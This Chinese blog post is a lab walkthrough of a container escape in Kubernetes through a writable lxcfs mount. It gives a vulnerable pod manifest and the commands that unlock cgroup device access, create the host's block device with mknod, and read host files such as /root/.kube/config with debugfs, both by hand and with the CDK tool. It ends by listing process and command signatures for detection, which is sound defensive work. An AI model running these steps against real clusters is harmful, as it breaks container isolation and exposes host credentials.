img

实验环境

Ubuntu 20.04

docker 20.10.21

kubernetes 1.22.7

实验步骤

安装lxcfs

1
apt install lxcfs

验证安装

image-20240116151755434

运行lxcfs

1
2
3
systemctl deamon-reload
systemctl start lxcfs
systemctl status lxcfs

或者手动运行

1
lxcfs /var/lib/lxcfs

image-20240116152153601

部署带有漏洞的pod

1
2
kubectl create ns cdk-test
kubectl apply -f cdk-nginx.yaml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
apiVersion: apps/v1
kind: Deployment
metadata:
name: cdk-nginx
namespace: cdk-test
labels:
app: nginx
spec:
replicas: 1
selector:
matchLabels:
app: nginx
template:
metadata:
labels:
app: nginx
spec:
containers:
- name: cdk-nginx
image: nginx:latest
volumeMounts:
- name: lxcfs
mountPath: /tmp
volumes: # 挂载lxcfs目录
- name: lxcfs
hostPath:
path: /var/lib/lxcfs
type: Directory

验证部署

image-20240116153936192

进入pod配置环境

1
kubectl exec -it cdk-nginx-5d49fc6b5d-87z77 -n cdk-test /bin/bash

image-20240116154108512

允许lxcfs查看所有设备,这个路径是在进入/tmp/cgroup/devices/kubepods.slice/kubepods-besteffort.slice后一直深入后得到的,需要依照情况而定

1
echo a > /tmp/cgroup/devices/kubepods.slice/kubepods-besteffort.slice/kubepods-besteffort-pod4cde57c0_bb78_4ff5_8ce7_cc54c1521ee1.slice/docker-080ea39f7efecf95db7137341f951f30b9ef96aa54566841daa2a22649440bf9.scope/devices.allow

查看/etc目录的node号和文件系统类型,确认node号为253:0 文件系统该类型为ext4

1
cat /proc/self/mountinfo |grep /etc

image-20240116160522696

创建设备进行逃逸

设备文件名称cdk-test、文件类型b为块设备、主设备号253、次设备号0

1
mknod cdk-test b 253 0

进行调试,通过ls命令和write命令即可读写文件

1
2
3
debugfs -w cdk-test
cd /root
ls

image-20240116161450819

CDK方式

(这里换成了ubuntu镜像便于后续看进程细节)

运行cdk逃逸脚本

1
./cdk run lxcfs-rw

image-20240116183339381

运行debugfs查看host_dev文件系统

1
2
debugfs -w host_dev
cat /root/.kube/config

image-20240116183421548

特征提取

进程特征

(这里换成了ubuntu镜像好查看进程细节)

这个不是短进程,查看进程信息,/bin/bash为父进程,debugfs为子进程(参数为-w cdk-test,如果是使用cdk则参数固定为-w host_dev)

image-20240116175344403

命令特征

以下的命令都是固定的,也是由于CDK内置的原因

./cdk run lxcfs-rw

debugfs -w host_dev

本文采用CC-BY-SA-3.0协议,转载请注明出处
Author: Sally